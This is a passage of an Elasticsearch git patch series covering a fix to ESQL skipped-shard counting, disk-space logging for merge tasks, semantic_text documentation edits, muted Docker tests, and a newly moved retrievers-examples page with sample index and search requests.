     protected void assertClusterMetadataSuccess(EsqlExecutionInfo.Cluster clusterMetatata, int shards, long took, String indexExpression) {
         assertClusterMetadata(clusterMetatata, took, indexExpression, Status.SUCCESSFUL);
         assertThat(clusterMetatata.getTotalShards(), equalTo(shards));
-        assertThat(clusterMetatata.getSuccessfulShards(), equalTo(shards));
-        assertThat(clusterMetatata.getSkippedShards(), equalTo(0));
+        // We should have at least one successful shard for data
+        assertThat(clusterMetatata.getSuccessfulShards(), greaterThanOrEqualTo(1));
+        // Some shards may be skipped, but total sum of the shards should match up
+        assertThat(clusterMetatata.getSkippedShards() + clusterMetatata.getSuccessfulShards(), equalTo(shards));
     }
 
     protected void assertClusterMetadataNoShards(EsqlExecutionInfo.Cluster clusterMetatata, long took, String indexExpression) {
@@ -81,7 +83,7 @@ protected void assertClusterMetadataSkippedShards(
     ) {
         assertClusterMetadata(clusterMetatata, took, indexExpression, Status.SUCCESSFUL);
         assertThat(clusterMetatata.getTotalShards(), equalTo(shards));
-        assertThat(clusterMetatata.getSuccessfulShards(), equalTo(shards));
+        assertThat(clusterMetatata.getSuccessfulShards(), equalTo(0));
         assertThat(clusterMetatata.getSkippedShards(), equalTo(shards));
     }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 9c5ecfaed6861..9d553b178afeb 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1250,7 +1250,12 @@ public enum Cap {
          * Forbid usage of brackets in unquoted index and enrich policy names
          * https://github.com/elastic/elasticsearch/issues/130378
          */
-        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES;
+        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES,
+
+        /**
+         * Support correct counting of skipped shards.
+         */
+        CORRECT_SKIPPED_SHARDS_COUNT;
 
         private final boolean enabled;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSender.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSender.java
index 4409201606d0a..469a3fd0816c1 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSender.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeRequestSender.java
@@ -134,17 +134,20 @@ final void startComputeOnDataNodes(Set<String> concreteIndices, Runnable runOnTa
                 var computeListener = new ComputeListener(
                     transportService.getThreadPool(),
                     runOnTaskFailure,
-                    listener.map(
-                        completionInfo -> new ComputeResponse(
+                    listener.map(completionInfo -> {
+                        final int totalSkipShards = targetShards.skippedShards() + skippedShards.get();
+                        final int failedShards = shardFailures.size();
+                        final int successfulShards = targetShards.totalShards() - totalSkipShards - failedShards;
+                        return new ComputeResponse(
                             completionInfo,
                             timeValueNanos(System.nanoTime() - startTimeInNanos),
                             targetShards.totalShards(),
-                            targetShards.totalShards() - shardFailures.size() - skippedShards.get(),
-                            targetShards.skippedShards() + skippedShards.get(),
-                            shardFailures.size(),
+                            successfulShards,
+                            totalSkipShards,
+                            failedShards,
                             selectFailures()
-                        )
-                    )
+                        );
+                    })
                 )
             ) {
                 pendingShardIds.addAll(order(targetShards));

From 50aa7140be31875a9aef10aacb9525141ab3c716 Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Wed, 23 Jul 2025 19:16:48 +0300
Subject: [PATCH 222/299] Track & log when there is insufficient disk space
 available to execute merges (#131711) (#131772)

This goal of this PR is to record information about the available disk
space at the time that merge tasks are scheduled (the info will show up
in heap dumps). This should aid troubleshooting in cases where there are
running merge tasks all while the available disk space on the node is
below the watermark. In this case we should increase the threshold for
scheduling merge tasks `indices.merge.disk.watermark.high`, and possibly
consider implementing aborting already executing merges too.

Relates
https://github.com/elastic/elasticsearch/issues/88606#issuecomment-3027324084
---
 docs/changelog/131711.yaml                    |  5 ++
 .../ThreadPoolMergeExecutorService.java       | 78 ++++++++++++++++++-
 2 files changed, 79 insertions(+), 4 deletions(-)
 create mode 100644 docs/changelog/131711.yaml

diff --git a/docs/changelog/131711.yaml b/docs/changelog/131711.yaml
new file mode 100644
index 0000000000000..f10b3663c8e5f
--- /dev/null
+++ b/docs/changelog/131711.yaml
@@ -0,0 +1,5 @@
+pr: 131711
+summary: Track & log when there is insufficient disk space available to execute merges
+area: Engine
+type: enhancement
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorService.java b/server/src/main/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorService.java
index f6e9257200002..9efb582007aaf 100644
--- a/server/src/main/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorService.java
+++ b/server/src/main/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorService.java
@@ -35,6 +35,7 @@
 import java.util.IdentityHashMap;
 import java.util.Iterator;
 import java.util.List;
+import java.util.Locale;
 import java.util.Map;
 import java.util.PriorityQueue;
 import java.util.Set;
@@ -552,6 +553,8 @@ private static ByteSizeValue getFreeBytesThreshold(
     }
 
     static class MergeTaskPriorityBlockingQueue extends PriorityBlockingQueueWithBudget<MergeTask> {
+        private static final Logger LOGGER = LogManager.getLogger(MergeTaskPriorityBlockingQueue.class);
+
         MergeTaskPriorityBlockingQueue() {
             // by default, start with 0 budget (so takes on this queue will always block until the first {@link #updateBudget} is invoked)
             // use the estimated *remaining* merge size as the budget function so that the disk space budget of elements is updated
@@ -567,6 +570,55 @@ long getAvailableBudget() {
         MergeTask peekQueue() {
             return enqueuedByBudget.peek().v1();
         }
+
+        @Override
+        void postBudgetUpdate() {
+            assert super.lock.isHeldByCurrentThread();
+            Tuple<MergeTask, Long> head = enqueuedByBudget.peek();
+            if (head != null && head.v2() > availableBudget) {
+                LOGGER.warn(
+                    String.format(
+                        Locale.ROOT,
+                        "There are merge tasks enqueued but there's insufficient disk space available to execute them "
+                            + "(the smallest merge task requires [%d] bytes, but the available disk space is only [%d] bytes)",
+                        head.v2(),
+                        availableBudget
+                    )
+                );
+                if (LOGGER.isDebugEnabled()) {
+                    if (unreleasedBudgetPerElement.isEmpty()) {
+                        LOGGER.debug(
+                            String.format(
+                                Locale.ROOT,
+                                "There are no merge tasks currently running, "
+                                    + "but there are [%d] enqueued ones that are blocked because of insufficient disk space "
+                                    + "(the smallest merge task requires [%d] bytes, but the available disk space is only [%d] bytes)",
+                                enqueuedByBudget.size(),
+                                head.v2(),
+                                availableBudget
+                            )
+                        );
+                    } else {
+                        StringBuilder messageBuilder = new StringBuilder();
+                        messageBuilder.append("The following merge tasks are currently running [");
+                        for (var runningMergeTask : super.unreleasedBudgetPerElement.entrySet()) {
+                            messageBuilder.append(runningMergeTask.getKey().element().toString());
+                            messageBuilder.append(" with disk space budgets in bytes ").append(runningMergeTask.getValue()).append(" , ");
+                        }
+                        messageBuilder.delete(messageBuilder.length() - 3, messageBuilder.length());
+                        messageBuilder.append("], and there are [")
+                            .append(enqueuedByBudget.size())
+                            .append("] additional enqueued ones that are blocked because of insufficient disk space");
+                        messageBuilder.append(" (the smallest merge task requires [")
+                            .append(head.v2())
+                            .append("] bytes, but the available disk space is only [")
+                            .append(availableBudget)
+                            .append("] bytes)");
+                        LOGGER.debug(messageBuilder.toString());
+                    }
+                }
+            }
+        }
     }
 
     /**
@@ -576,7 +628,7 @@ MergeTask peekQueue() {
     static class PriorityBlockingQueueWithBudget<E> {
         private final ToLongFunction<? super E> budgetFunction;
         protected final PriorityQueue<Tuple<E, Long>> enqueuedByBudget;
-        private final IdentityHashMap<ElementWithReleasableBudget, Long> unreleasedBudgetPerElement;
+        protected final IdentityHashMap<ElementWithReleasableBudget, Budgets> unreleasedBudgetPerElement;
         private final ReentrantLock lock;
         private final Condition elementAvailable;
         protected long availableBudget;
@@ -637,15 +689,23 @@ void updateBudget(long availableBudget) {
                 // updates the budget of enqueued elements (and possibly reorders the priority queue)
                 updateBudgetOfEnqueuedElementsAndReorderQueue();
                 // update the budget of dequeued, but still in-use elements (these are the elements that are consuming budget)
-                unreleasedBudgetPerElement.replaceAll((e, v) -> budgetFunction.applyAsLong(e.element()));
+                unreleasedBudgetPerElement.replaceAll((e, v) -> v.updateBudgetEstimation(budgetFunction.applyAsLong(e.element())));
                 // the available budget is decreased by the budget of still in-use elements (dequeued elements that are still in-use)
-                this.availableBudget -= unreleasedBudgetPerElement.values().stream().mapToLong(i -> i).sum();
+                this.availableBudget -= unreleasedBudgetPerElement.values()
+                    .stream()
+                    .mapToLong(i -> i.latestBudgetEstimationForElement)
+                    .sum();
                 elementAvailable.signalAll();
+                postBudgetUpdate();
             } finally {
                 lock.unlock();
             }
         }
 
+        void postBudgetUpdate() {
+            assert lock.isHeldByCurrentThread();
+        };
+
         private void updateBudgetOfEnqueuedElementsAndReorderQueue() {
             assert this.lock.isHeldByCurrentThread();
             int queueSizeBefore = enqueuedByBudget.size();
@@ -686,7 +746,7 @@ private ElementWithReleasableBudget newElementWithReleasableBudget(E element, lo
             ElementWithReleasableBudget elementWithReleasableBudget = new ElementWithReleasableBudget(element);
             assert this.lock.isHeldByCurrentThread();
             // the taken element holds up some budget
-            var prev = this.unreleasedBudgetPerElement.put(elementWithReleasableBudget, budget);
+            var prev = this.unreleasedBudgetPerElement.put(elementWithReleasableBudget, new Budgets(budget, budget, this.availableBudget));
             assert prev == null;
             this.availableBudget -= budget;
             assert this.availableBudget >= 0L;
@@ -736,6 +796,16 @@ E element() {
                 return element;
             }
         }
+
+        record Budgets(long initialBudgetEstimationForElement, long latestBudgetEstimationForElement, long initialTotalAvailableBudget) {
+            Budgets updateBudgetEstimation(long latestBudgetEstimationForElement) {
+                return new Budgets(
+                    this.initialBudgetEstimationForElement,
+                    latestBudgetEstimationForElement,
+                    this.initialTotalAvailableBudget
+                );
+            }
+        }
     }
 
     private static long newTargetIORateBytesPerSec(

From 00e7d33bf08f1476229d9d1642e2da46cfebdd53 Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Wed, 23 Jul 2025 15:39:39 -0400
Subject: [PATCH 223/299] Fix semantic text docs for features coming in 9.1
 (#131783) (#131785)

* Fix semantic text docs for features coming in 9.1

* Inline applies_to
---
 .../mapping-reference/semantic-text.md             | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index f8c729b471255..fbea748bbe596 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -111,13 +111,13 @@ the [Create {{infer}} API](https://www.elastic.co/docs/api/doc/elasticsearch/ope
 to create the endpoint. If not specified, the {{infer}} endpoint defined by
 `inference_id` will be used at both index and query time.
 
-`index_options`
+`index_options` {applies_to}`stack: ga 9.1`
 :   (Optional, object) Specifies the index options to override default values
 for the field. Currently, `dense_vector` index options are supported.
 For text embeddings, `index_options` may match any allowed
 [dense_vector index options](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-index-options).
 
-`chunking_settings`
+`chunking_settings` {applies_to}`stack: ga 9.1`
 :   (Optional, object) Settings for chunking text into smaller passages.
 If specified, these will override the chunking settings set in the {{infer-cap}}
 endpoint associated with `inference_id`.
@@ -127,8 +127,8 @@ To completely disable chunking, use the `none` chunking strategy.
 
     **Valid values for `chunking_settings`**:
 
-    `type`
-    :   Indicates the type of chunking strategy to use. Valid values are `none`, `word` or
+    `strategy`
+    :   Indicates the strategy of chunking strategy to use. Valid values are `none`, `word` or
     `sentence`. Required.
 
     `max_chunk_size`
@@ -144,7 +144,8 @@ To completely disable chunking, use the `none` chunking strategy.
     or `1`. Required for `sentence` type chunking settings
 
 ::::{warning}
-When using the `none` chunking strategy, if the input exceeds the maximum token limit of the underlying model, some
+When using the `none` chunking strategy, if the input exceeds the maximum token
+limit of the underlying model, some
 services (such as OpenAI) may return an
 error. In contrast, the `elastic` and `elasticsearch` services will
 automatically truncate the input to fit within the
@@ -295,7 +296,8 @@ automatic {{infer}} and a dedicated query so you don’t need to provide further
 details.
 
 If you want to override those defaults and customize the embeddings that
-`semantic_text` indexes, you can do so by modifying [parameters](#semantic-text-params):
+`semantic_text` indexes, you can do so by
+modifying [parameters](#semantic-text-params):
 
 - Use `index_options` to specify alternate index options such as specific
   `dense_vector` quantization methods

From c00fd531850d955a4e8971e1a578faede45e2ead Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 24 Jul 2025 02:03:33 +0200
Subject: [PATCH 224/299] Mute org.elasticsearch.packaging.test.DockerTests
 test171AdditionalCliOptionsAreForwarded #120925

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 7b8967960fbab..7a3476ed5ed15 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -444,6 +444,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test070BindMountCustomPathConfAndJvmOptions
   issue: https://github.com/elastic/elasticsearch/issues/131366
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test171AdditionalCliOptionsAreForwarded
+  issue: https://github.com/elastic/elasticsearch/issues/120925
 
 # Examples:
 #

From 9732617aa9f8527e2ee625a8522bd5ece628d12e Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 24 Jul 2025 03:02:24 +0200
Subject: [PATCH 225/299] Mute org.elasticsearch.packaging.test.DockerTests
 test130JavaHasCorrectOwnership #131369

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 7a3476ed5ed15..def0e0da4e97f 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -447,6 +447,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test171AdditionalCliOptionsAreForwarded
   issue: https://github.com/elastic/elasticsearch/issues/120925
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test130JavaHasCorrectOwnership
+  issue: https://github.com/elastic/elasticsearch/issues/131369
 
 # Examples:
 #

From 8d9d5099a0b8622f67a34e3b2cf52a988018b886 Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Thu, 24 Jul 2025 09:12:00 +0200
Subject: [PATCH 226/299] [DOCS] Move retrievers examples page from
 docs-content repo (#131766) (#131801)

---
 .../rest-apis/reciprocal-rank-fusion.md       |    2 +-
 .../elasticsearch/rest-apis/retrievers.md     |    6 +-
 .../rest-apis/retrievers/linear-retriever.md  |    2 +-
 .../retrievers/retrievers-examples.md         | 1640 +++++++++++++++++
 docs/reference/elasticsearch/toc.yml          |    1 +
 5 files changed, 1646 insertions(+), 5 deletions(-)
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/retrievers-examples.md

diff --git a/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md b/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
index 35be4531e3ac9..c640929584bb7 100644
--- a/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
+++ b/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
@@ -758,7 +758,7 @@ Highlighting on vector fields, using either the `knn` retriever or a `knn` query
 ::::
 
 
-A more specific example of highlighting in RRF can also be found in the [retrievers examples](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-highlighting-retriever-results) page.
+A more specific example of highlighting in RRF can also be found in the [retrievers examples](retrievers/retrievers-examples.md#retrievers-examples-highlighting-retriever-results) page.
 
 
 ## Inner hits in RRF [_inner_hits_in_rrf]
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers.md b/docs/reference/elasticsearch/rest-apis/retrievers.md
index fa3810a435a01..a076d34941c09 100644
--- a/docs/reference/elasticsearch/rest-apis/retrievers.md
+++ b/docs/reference/elasticsearch/rest-apis/retrievers.md
@@ -11,7 +11,7 @@ applies_to:
 A retriever is a specification to describe top documents returned from a search. A retriever replaces other elements of the [search API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search) that also return top documents such as [`query`](/reference/query-languages/querydsl.md) and [`knn`](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-api-knn). A retriever may have child retrievers where a retriever with two or more children is considered a compound retriever. This allows for complex behavior to be depicted in a tree-like structure, called the retriever tree, which clarifies the order of operations that occur during a search.
 
 ::::{tip}
-Refer to [*Retrievers*](docs-content://solutions/search/retrievers-overview.md) for a high level overview of the retrievers abstraction. Refer to [Retrievers examples](docs-content://solutions/search/retrievers-examples.md) for additional examples.
+Refer to [*Retrievers*](docs-content://solutions/search/retrievers-overview.md) for a high level overview of the retrievers abstraction. Refer to [Retrievers examples](retrievers/retrievers-examples.md) for additional examples.
 
 ::::
 
@@ -238,5 +238,5 @@ Note, however, that wildcard field patterns will only resolve to fields that eit
 
 ### Examples
 
-- [RRF with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format)
-- [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format)
\ No newline at end of file
+- [RRF with the multi-field query format](retrievers/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format)
+- [Linear retriever with the multi-field query format](retrievers/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format)
\ No newline at end of file
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md b/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
index 119438a60057a..a0babd1bc9ecc 100644
--- a/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
@@ -78,7 +78,7 @@ Each entry in the `retrievers` array specifies the following parameters:
     See [normalizers](#linear-retriever-normalizers) for supported values.
     Defaults to `none`.
 
-See also [this hybrid search example](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
+See also [this hybrid search example](retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
 
 ## Normalizers [linear-retriever-normalizers]
 
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers/retrievers-examples.md b/docs/reference/elasticsearch/rest-apis/retrievers/retrievers-examples.md
new file mode 100644
index 0000000000000..b9dcc24a841ed
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/retrievers/retrievers-examples.md
@@ -0,0 +1,1640 @@
+---
+navigation_title: Examples
+mapped_pages:
+  - https://www.elastic.co/guide/en/elasticsearch/reference/current/_retrievers_examples.html
+applies_to:
+  stack:
+  serverless:
+products:
+  - id: elasticsearch
+---
+
+# Retrievers examples [retrievers-examples]
+
+Learn how to combine different retrievers in these hands-on examples.
+
+
+## Add example data [retrievers-examples-setup]
+
+To begin with, let's create the `retrievers_example` index, and add some documents to it.
+We will set `number_of_shards=1` for our examples to ensure consistent and reproducible ordering.
+
+```console
+PUT retrievers_example
+{
+    "settings": {
+        "number_of_shards": 1
+    },
+   "mappings": {
+       "properties": {
+           "vector": {
+               "type": "dense_vector",
+               "dims": 3,
+               "similarity": "l2_norm",
+               "index": true,
+               "index_options": {
+                    "type": "flat"
+               }
+           },
+           "text": {
+               "type": "text",
+               "copy_to": "text_semantic"
+           },
+           "text_semantic": {
+               "type": "semantic_text"
+           },
+           "year": {
+               "type": "integer"
+           },
+           "topic": {
+               "type": "keyword"
+           },
+           "timestamp": {
+               "type": "date"
+           }
+       }
+   }
+}
+
+POST /retrievers_example/_doc/1
+{
+ "vector": [0.23, 0.67, 0.89],
+ "text": "Large language models are revolutionizing information retrieval by boosting search precision, deepening contextual understanding, and reshaping user experiences in data-rich environments.",
+ "year": 2024,
+ "topic": ["llm", "ai", "information_retrieval"],
+ "timestamp": "2021-01-01T12:10:30"
+}
+
+POST /retrievers_example/_doc/2
+{
+ "vector": [0.12, 0.56, 0.78],
+ "text": "Artificial intelligence is transforming medicine, from advancing diagnostics and tailoring treatment plans to empowering predictive patient care for improved health outcomes.",
+ "year": 2023,
+ "topic": ["ai", "medicine"],
+ "timestamp": "2022-01-01T12:10:30"
+}
+
+POST /retrievers_example/_doc/3
+{
+ "vector": [0.45, 0.32, 0.91],
+  "text": "AI is redefining security by enabling advanced threat detection, proactive risk analysis, and dynamic defenses against increasingly sophisticated cyber threats.",
+ "year": 2024,
+ "topic": ["ai", "security"],
+ "timestamp": "2023-01-01T12:10:30"
+}
+
+POST /retrievers_example/_doc/4
+{
+ "vector": [0.34, 0.21, 0.98],
+ "text": "Elastic introduces Elastic AI Assistant, the open, generative AI sidekick powered by ESRE to democratize cybersecurity and enable users of every skill level.",
+ "year": 2023,
+ "topic": ["ai", "elastic", "assistant"],
+ "timestamp": "2024-01-01T12:10:30"
+}
+
+POST /retrievers_example/_doc/5
+{
+ "vector": [0.11, 0.65, 0.47],
+ "text": "Learn how to spin up a deployment on Elastic Cloud and use Elastic Observability to gain deeper insight into the behavior of your applications and systems.",
+ "year": 2024,
+ "topic": ["documentation", "observability", "elastic"],
+ "timestamp": "2025-01-01T12:10:30"
+}
+
+POST /retrievers_example/_refresh
+```
+
+Now that we have our documents in place, let’s try to run some queries using retrievers.
+
+
+## Example: Combining query and kNN with RRF [retrievers-examples-combining-standard-knn-retrievers-with-rrf]
+
+First, let’s examine how to combine two different types of queries: a `kNN` query and a `query_string` query.
+While these queries may produce scores in different ranges, we can use Reciprocal Rank Fusion (`rrf`) to combine the results and generate a merged final result list.
+
+To implement this in the retriever framework, we start with the top-level element: our `rrf` retriever.
+This retriever operates on top of two other retrievers: a `knn` retriever and a `standard` retriever. Our query structure would look like this:
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "retrievers": [
+                {
+                    "standard": {
+                        "query": {
+                            "query_string": {
+                                "query": "(information retrieval) OR (artificial intelligence)",
+                                "default_field": "text"
+                            }
+                        }
+                    }
+                },
+                {
+                    "knn": {
+                        "field": "vector",
+                        "query_vector": [
+                            0.23,
+                            0.67,
+                            0.89
+                        ],
+                        "k": 3,
+                        "num_candidates": 5
+                    }
+                }
+            ],
+            "rank_window_size": 10,
+            "rank_constant": 1
+        }
+    },
+    "_source": false
+}
+```
+
+This returns the following response based on the final rrf score for each result.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 0.8333334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.25
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+
+## Example: Hybrid search with linear retriever [retrievers-examples-linear-retriever]
+
+A different, and more intuitive, way to provide hybrid search, is to linearly combine the top documents of different retrievers using a weighted sum of the original scores.
+Since, as above, the scores could lie in different ranges, we can also specify a `normalizer` that would ensure that all scores for the top ranked documents of a retriever lie in a specific range.
+
+To implement this, we define a `linear` retriever, and along with a set of retrievers that will generate the heterogeneous results sets that we will combine.
+We will solve a problem similar to the above, by merging the results of a `standard` and a `knn` retriever.
+As the `standard` retriever’s scores are based on BM25 and are not strictly bounded, we will also define a `minmax` normalizer to ensure that the scores lie in the [0, 1] range.
+We will apply the same normalizer to `knn` as well to ensure that we capture the importance of each document within the result set.
+
+So, let’s now specify the `linear` retriever whose final score is computed as follows:
+
+```text
+score = weight(standard) * score(standard) + weight(knn) * score(knn)
+score = 2 * score(standard) + 1.5 * score(knn)
+```
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "linear": {
+            "retrievers": [
+                {
+                    "retriever": {
+                        "standard": {
+                            "query": {
+                                "query_string": {
+                                    "query": "(information retrieval) OR (artificial intelligence)",
+                                    "default_field": "text"
+                                }
+                            }
+                        }
+                    },
+                    "weight": 2,
+                    "normalizer": "minmax"
+                },
+                {
+                    "retriever": {
+                        "knn": {
+                            "field": "vector",
+                            "query_vector": [
+                                0.23,
+                                0.67,
+                                0.89
+                            ],
+                            "k": 3,
+                            "num_candidates": 5
+                        }
+                    },
+                    "weight": 1.5,
+                    "normalizer": "minmax"
+                }
+            ],
+            "rank_window_size": 10
+        }
+    },
+    "_source": false
+}
+```
+
+This returns the following response based on the normalized weighted score for each result.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 3.5,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 3.5
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 2.3
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.1
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+By normalizing scores and leveraging `function_score` queries, we can also implement more complex ranking strategies, such as sorting results based on their timestamps, assign the timestamp as a score, and then normalizing this score to [0, 1].
+Then, we can easily combine the above with a `knn` retriever as follows:
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "linear": {
+            "retrievers": [
+                {
+                    "retriever": {
+                        "standard": {
+                            "query": {
+                                "function_score": {
+                                    "query": {
+                                        "term": {
+                                            "topic": "ai"
+                                        }
+                                    },
+                                    "functions": [
+                                        {
+                                            "script_score": {
+                                                "script": {
+                                                    "source": "doc['timestamp'].value.millis"
+                                                }
+                                            }
+                                        }
+                                    ],
+                                    "boost_mode": "replace"
+                                }
+                            },
+                            "sort": {
+                                "timestamp": {
+                                    "order": "asc"
+                                }
+                            }
+                        }
+                    },
+                    "weight": 2,
+                    "normalizer": "minmax"
+                },
+                {
+                    "retriever": {
+                        "knn": {
+                            "field": "vector",
+                            "query_vector": [
+                                0.23,
+                                0.67,
+                                0.89
+                            ],
+                            "k": 3,
+                            "num_candidates": 5
+                        }
+                    },
+                    "weight": 1.5
+                }
+            ],
+            "rank_window_size": 10
+        }
+    },
+    "_source": false
+}
+```
+
+Which would return the following results:
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 4,
+            "relation": "eq"
+        },
+        "max_score": 3.5,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 3.5
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 2.0
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "4",
+                "_score": 1.1
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.1
+            }
+        ]
+    }
+}
+```
+
+::::
+
+
+## Example: RRF with the multi-field query format [retrievers-examples-rrf-multi-field-query-format]
+```yaml {applies_to}
+stack: ga 9.1
+```
+
+There's an even simpler way to execute a hybrid search though: We can use the [multi-field query format](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-query-format), which allows us to query multiple fields without explicitly specifying inner retrievers.
+
+One of the major challenges with hybrid search is normalizing the scores across matches on all field types.
+Scores from [`text`](/reference/elasticsearch/mapping-reference/text.md) and [`semantic_text`](/reference/elasticsearch/mapping-reference/semantic-text.md) fields don't always fall in the same range, so we need to normalize the ranks across matches on these fields to generate a result set.
+For example, BM25 scores from `text` fields are unbounded, while vector similarity scores from `text_embedding` models are bounded between [0, 1].
+The multi-field query format [handles this normalization for us automatically](/reference/elasticsearch/rest-apis/retrievers.md#multi-field-field-grouping).
+
+The following example uses the multi-field query format to query every field specified in the `index.query.default_field` index setting, which is set to `*` by default.
+This default value will cause the retriever to query every field that either:
+
+- Supports term queries, such as `keyword` and `text` fields
+- Is a `semantic_text` field
+
+In this example, that would translate to the `text`, `text_semantic`, `year`, `topic`, and `timestamp` fields.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "query": "artificial intelligence"
+        }
+    }
+}     
+```
+
+This returns the following response based on the final rrf score for each result.
+
+::::{dropdown} Example response
+```console-result
+{
+    "took": 42,
+    "timed_out": false,
+    "_shards": {
+        "total": 1,
+        "successful": 1,
+        "skipped": 0,
+        "failed": 0
+    },
+    "hits": {
+        "total": {
+            "value": 3,
+            "relation": "eq"
+        },
+        "max_score": 0.8333334,
+        "hits": [
+            {
+                "_index": "retrievers_example",
+                "_id": "1",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "2",
+                "_score": 0.8333334
+            },
+            {
+                "_index": "retrievers_example",
+                "_id": "3",
+                "_score": 0.25
+            }
+        ]
+    }
+}
+```
+
+::::
+
+We can also use the `fields` parameter to explicitly specify the fields to query.
+The following example uses the multi-field query format to query the `text` and `text_semantic` fields.
+
+```console
+GET /retrievers_example/_search
+{
+    "retriever": {
+        "rrf": {
+            "query": "artificial intelligence",
